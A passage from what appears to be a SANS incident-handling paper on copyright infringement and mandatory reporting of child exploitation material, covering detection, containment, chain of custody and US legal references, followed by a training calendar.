**Re-active Identification Methods:** Existing Intrusion Detection Infrastructure could be used to monitor network traffic for traversal of suspicious file extensions such as ".mp3, .avi, .wma, .jpg, .gif" by simply watching for those strings. More elaborate methods might entail extracting common binary code associated with those binary types. This method would eliminate an attacker's capability to mask copyright infringement actions by renaming files, although encrypted and zipped content would elude even this advanced tactic.

**Rewards for identification:** Although controversy exists among incident handling experts, a company may offer rewards for the escalation of information security violations including copyright violations.

**Containment**

**Initial Containment:**
Containment of publicly distributed copyright violations should be handled by removing public access to such violations immediately.

**Containment issues specific to copyright infringement cases**

One consideration in the containment of copyrighted material is to ensure that the rights of the copyright owner are not infringed upon according to Title 17. A precedent for the fair use of copyrighted materials in legal arbitrations was set by (*Bond v. Blum*, 4th Cir., No. 02-1139, 1/24/03) where the use of copyrighted material was allowed due solely to its content, instead of its mode of expression as decided by the U.S. Court of Appeals for the Fourth Circuit.

**Documentation and Evidence Handling:**
It is also critical to ensure that appropriately detailed and complete notes document the incident from the identification through the eradication phase. All evidence and notes should be secured in a fashion such that a non-interrupted chain of custody exists. While it is important to take comprehensive notes, it’s important to remember that all notes will likely be considered discoverable by the defendant.

**Reporting to Authorities, Affected Parties:**
For cases involving copyright infringement in the United States, contacting law enforcement authorities and affected parties (copyright owners) is optional.

**Eradication**

Eradicating copyright violations should include removal and quarantine of illegally distributed the copyrighted material and discipline invocation on the offenders in accordance with corporate information security policies.

**Lessons Learned**

As copyright violation incidents are detected and resolved, a continuous improvement process should document ways for management and incident handling personnel to continuously update the operational processes that facilitate the corporate incident
handling processes\textsuperscript{11}. One part of this plan should include the holding of post-mortems within some reasonable amount of time after the incident.

**Evidence Preservation Strategies for Possible Future Action within the United States**

**Media & Content Integrity Considerations**

Evidence that is collected should be duplicated prior to analysis. The original evidence should never be touched for any other purpose than to make an original duplication. This duplication should then be used for the purpose of making other duplications for forensic analysis. The original and the duplicate should be handled based upon the chain of custody considerations below. Files and drive images should have message digest hashes (such as md5sum) taken immediately after seizure.

**Chain of Custody Considerations**

To eliminate doubt regarding authenticity and to ensure confidence in the lack of alteration, chain of evidence custody should initiate as soon as evidence is collected\textsuperscript{17}. All evidence in a case should be collected and tagged with an evidence identification number. Access to all evidence must be controlled at all times. Any change in possession of the evidence must be accompanied with appropriate times, transferring owners/recipients, and justifications. Chain of custody should be maintained at least until there is no conceivable or feasible need for prosecution purposes based upon statutes of limitation, and/or business need.

In the case of copyrighted material, it will be critical to prohibit unauthorized access to material that might constitute an infringement violation itself.

**Best Evidence Considerations**

For admissibility in court it must be relevant to the case and facilitate leading arbitration to conclusion. Questionable evidence can be extremely detrimental during civil and criminal cases. Original copies are considered best evidence and should be used if possible\textsuperscript{16}.

**Incident Response Requirements for cases Involving the Sexual Exploitation of Minors**

**Preparation Considerations**

Differences in preparation should include education to system administrators and system operators regarding 42 U.S.C. Section 13032, which states that child pornography must be reported immediately.
Identification Considerations

Identification for cases involving the sexual exploitation of minors or child pornography requires anyone who notices evidence of such activities while in the support of electronic communications services report the activities to authorities (at http://www.missingkids.com/ or specifically http://www.missingkids.com/missingkids/servlet/PageServlet?LanguageCountry=en_US&PageId=169#pornography ) within a reasonable period of time. The following passage from 42 U.S.C. Section 13032 Subsection (b)(1) states that

“Whoever, while engaged in providing an electronic communication service or a remote computing service to the public, through a facility or means of interstate or foreign commerce, obtains knowledge of facts or circumstances from which a violation of section 2251, 2251A, 2252, 2252A, or 2260 of title 18, involving child pornography (as defined in section 2256 of that title), is apparent, shall, as soon as reasonably possible, make a report of such facts or circumstances to the Cyber Tip Line at the National Center for Missing and Exploited Children (http://www.missingkids.com/), which shall forward that report to a law enforcement agency or agencies designated by the Attorney General”24.

Where the definition of ‘electronic communication service’ is given in 18 U.S.C Section 2510:

“'electronic communication service' means any service which provides to users thereof the ability to send or receive wire or electronic communications.”25

The interpretation of these two passages directly applies to any instance where child pornography is being distributed to the public. Those who identify this activity are compelled to report to the Cyber Tip Line at the National Center for Missing and Exploited Children as soon as reasonably possible, penalties for not doing so are

“A provider of electronic communication services or remote computing services described in paragraph (1) who knowingly and willfully fails to make a report under that paragraph shall be fined in the case of an initial failure to make a report, not more than $50,000; and in the case of any second or subsequent failure to make a report, not more than $100,000.”

Protections provided for electronic service providers are summarized in 42 U.S.C. Section 13032 Subsection (c):

“No provider or user of an electronic communication service or a remote computing service to the public shall be held liable on account of any action taken in good faith to comply with this section.”

This immunizes any person taking actions to comply by notifying the appropriate authorities.
In summary, anyone should report cases of evidence suggesting the exploitation of minors to the aforementioned authorities, or local authorities immediately.

Due to the liability involved in not reporting, management notification should not gate reporting. Corporate security policy should reflect this need preemptively and state that employees who notice such activity should not gate reporting by notification of management.

**Containment Considerations**

The incident handler will be required to work with authorities in the collection of evidence. As authorities will be less able to work with a business in ways that ensure a minimization of business impact, management should be informed of additional demands that may be required, and acknowledgement of this should be stated in security policy. For situations where the Authorities have to seize the hardware, it can be requested that critical data and programs be backed-up prior to system removal\(^\text{21}\).

**Legal References**

1. US Title 17: [http://www4.law.cornell.edu/uscode/17/](http://www4.law.cornell.edu/uscode/17/)
5. US Title 17 Section 1101: [http://www4.law.cornell.edu/uscode/17/1101.html](http://www4.law.cornell.edu/uscode/17/1101.html)
6. US Title 17 Section 106: [http://www4.law.cornell.edu/uscode/17/106.html](http://www4.law.cornell.edu/uscode/17/106.html)
10. US Title 17 Section 117: [http://www4.law.cornell.edu/uscode/17/117.html](http://www4.law.cornell.edu/uscode/17/117.html)
13. US Title 17 Section 504: [http://www4.law.cornell.edu/uscode/17/504.html](http://www4.law.cornell.edu/uscode/17/504.html)
15. SANS Frameworks and Best Practices: Managerial and Legal Issues: Courseware 8.5, pg. 3-45
20. [http://www.usdoj.gov/criminal/ceos/statutes.htm](http://www.usdoj.gov/criminal/ceos/statutes.htm)
22. US Title 18 Section 2258: [http://www4.law.cornell.edu/uscode/18/2258.html](http://www4.law.cornell.edu/uscode/18/2258.html)
23. US Title 42 Section 13001: [http://www4.law.cornell.edu/uscode/42/13001.html](http://www4.law.cornell.edu/uscode/42/13001.html)
24. US Title 42 Section 13032: [http://www4.law.cornell.edu/uscode/42/13032.html](http://www4.law.cornell.edu/uscode/42/13032.html)
25 US Title 18 Section 2510: http://www4.law.cornell.edu/uscode/18/2510.html
## Upcoming Training

<table>
<thead>
<tr>
<th>Event</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mentor Session - FOR508</td>
<td>Mexico City, Mexico</td>
<td>Nov 02, 2019 - Nov 30, 2019</td>
<td>Mentor</td>
</tr>
<tr>
<td>SANS DFIRCON 2019</td>
<td>Coral Gables, FL</td>
<td>Nov 04, 2019 - Nov 09, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Sydney 2019</td>
<td>Sydney, Australia</td>
<td>Nov 04, 2019 - Nov 23, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Gulf Region 2019</td>
<td>Dubai, United Arab Emirates</td>
<td>Nov 16, 2019 - Nov 28, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Austin 2019</td>
<td>Austin, TX</td>
<td>Nov 18, 2019 - Nov 23, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Atlanta Fall 2019</td>
<td>Atlanta, GA</td>
<td>Nov 18, 2019 - Nov 23, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS San Francisco Winter 2019</td>
<td>San Francisco, CA</td>
<td>Dec 02, 2019 - Dec 07, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Austin Winter 2020</td>
<td>Austin, TX</td>
<td>Jan 06, 2020 - Jan 11, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Threat Hunting &amp; IR Europe Summit &amp; Training 2020</td>
<td>London, United Kingdom</td>
<td>Jan 13, 2020 - Jan 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Cyber Threat Intelligence Summit &amp; Training 2020</td>
<td>Arlington, VA</td>
<td>Jan 20, 2020 - Jan 27, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Vienna January 2020</td>
<td>Vienna, Austria</td>
<td>Jan 27, 2020 - Feb 01, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS San Francisco East Bay 2020</td>
<td>Emeryville, CA</td>
<td>Jan 27, 2020 - Feb 01, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Security East 2020</td>
<td>New Orleans, LA</td>
<td>Feb 01, 2020 - Feb 08, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London February 2020</td>
<td>London, United Kingdom</td>
<td>Feb 10, 2020 - Feb 15, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS New York City Winter 2020</td>
<td>New York City, NY</td>
<td>Feb 10, 2020 - Feb 15, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Brussels February 2020</td>
<td>Brussels, Belgium</td>
<td>Feb 17, 2020 - Feb 22, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Community SANS Scottsdale FOR508</td>
<td>Scottsdale, AZ</td>
<td>Feb 24, 2020 - Feb 29, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Secure India 2020</td>
<td>Bangalore, India</td>
<td>Feb 24, 2020 - Feb 29, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Secure Japan 2020</td>
<td>Tokyo, Japan</td>
<td>Mar 02, 2020 - Mar 14, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Munich March 2020</td>
<td>Munich, Germany</td>
<td>Mar 02, 2020 - Mar 07, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS St. Louis 2020</td>
<td>St. Louis, MO</td>
<td>Mar 08, 2020 - Mar 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Norfolk 2020</td>
<td>Norfolk, VA</td>
<td>Mar 16, 2020 - Mar 21, 2020</td>
<td>Live Event</td>
</tr>
</tbody>
</table>